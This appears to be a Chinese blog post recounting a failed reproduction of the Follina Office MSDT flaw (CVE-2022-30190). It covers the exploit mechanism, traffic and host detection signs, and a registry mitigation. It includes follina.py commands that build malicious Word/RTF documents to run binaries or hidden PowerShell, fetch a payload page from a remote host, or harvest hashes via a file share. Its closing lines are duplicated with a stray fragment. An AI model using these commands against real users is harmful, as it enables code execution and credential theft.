Microsoft Office MSDT代码执行漏洞(CVE-2022-30190)复现没成功
参考链接
https://github.com/chvancooten/follina.py
https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/ (填充大于4096字节原因)
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-30190 受影响的版本
漏洞背景
2022年5月27日,一位名为 nao_sec 的安全研究员发现了一个从白俄罗斯 IP 上传到 VirusTotal 的恶意 Word 文档。该文档使用 Microsoft Word 远程模板功能链接恶意 HTML 文件,Winword.exe 程序处理该恶意 HTML 文件中的 js 代码时发现其中使用”ms-msdt”协议的 URL, 随即启动 msdt.exe 程序(Microsoft Support Diagnostics Tool)处理该 URL,导致内嵌在 URL 中的 powershell 命令得到执行。
2022年5月30日,微软公布该漏洞编号 CVE-2022-30190。
漏洞原理
可以通过一下命令产生可以用的docx文档
# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe
# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe
# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe
# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"
# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4
# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080
解压docx文档。
其中的document.xml.rels文件包含远程模板的注入链接。其中Type属性表明word会将改模板文件加载为OLE对象,可以看到其中一个远程模板加载的是我的kali网站上面的一个页面,其ID属性为rId1337。
OLE:Object Linking and Embedding,对象连接与嵌入,简称OLE技术。OLE 不仅是桌面应用程序集成,而且还定义和实现了一种允许应用程序作为软件“对象”(数据集合和操作数据的函数)彼此进行“连接”的机制,这种连接机制和协议称为组件对象模型(COM)。OLE可以用来创建复合文档,复合文档包含了创建于不同源应用程序,有着不同类型的数据,因此它可以把文字、声音、图像、表格、应用程序等组合在一起。可以将外部文档嵌入word中。
再根据word/document.xml发现此模板文件的其他属性。
然后查看引用的kali上的html页面。
html中body标签的无关内容,源RDF842l.html填充的是注释的”A“,是为了让模板文件大小大于4096字节,链接中的文章很长,是终端调用CDwnStm::Read函数中的第三个参数应该是客户端尝试从服务器读取的字节数,处于某种原因,客户端期望4096字节,在构造 CHtmPre 实例时,它的默认读取大小为 4096 字节。在使用实际响应大小更新此字段之前,客户端正在从 HTTP 响应中读取字节。由于我们的准系统负载只是一个 4096 字节以下的小 HTML 页面,客户端认为服务器没有发送所需的响应,因此终止了执行。(https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/)
html利用location.href进行页面的重定向,采用的协议是ms-msdt协议,根据注册表ms-msdt协议用的是msdt.exe,执行word程序加载word的进程是winword.exe,所以通过msdt.exe执行posershel命令。
复现过程:未成功
我这里复现出错了,msdt.exe不能运行,不知道为什么?第一次遇到,希望有人能告诉我。
告警分析
流量层面:
1.受害主机通过某种方式或者docx,可能是钓鱼邮件,可能邮件沙箱发生告警。
2.受害主机访问恶意url,可以在response中看到ms-msdt协议,html中无意义的注释填充大于4096,base64加密的powershell命令。
主机层面:
1.winword.exe访问远程url链接,查找注册表,打开msdt.exe执行恶意的powershell命令,有恶意负载。
解决办法
禁用msdt url协议。
1.管理员身份先备用注册表“reg export HKEY_CLASSES_ROOT\ms-msdt [filename ]”。
2.命令“reg delete HKEY_CLASSES_ROOT\ms-msdt /f”。(恢复注册表”reg import [filename]“)
ename ]”。
3.命令“reg delete HKEY_CLASSES_ROOT\ms-msdt /f”。(恢复注册表”reg import [filename]“)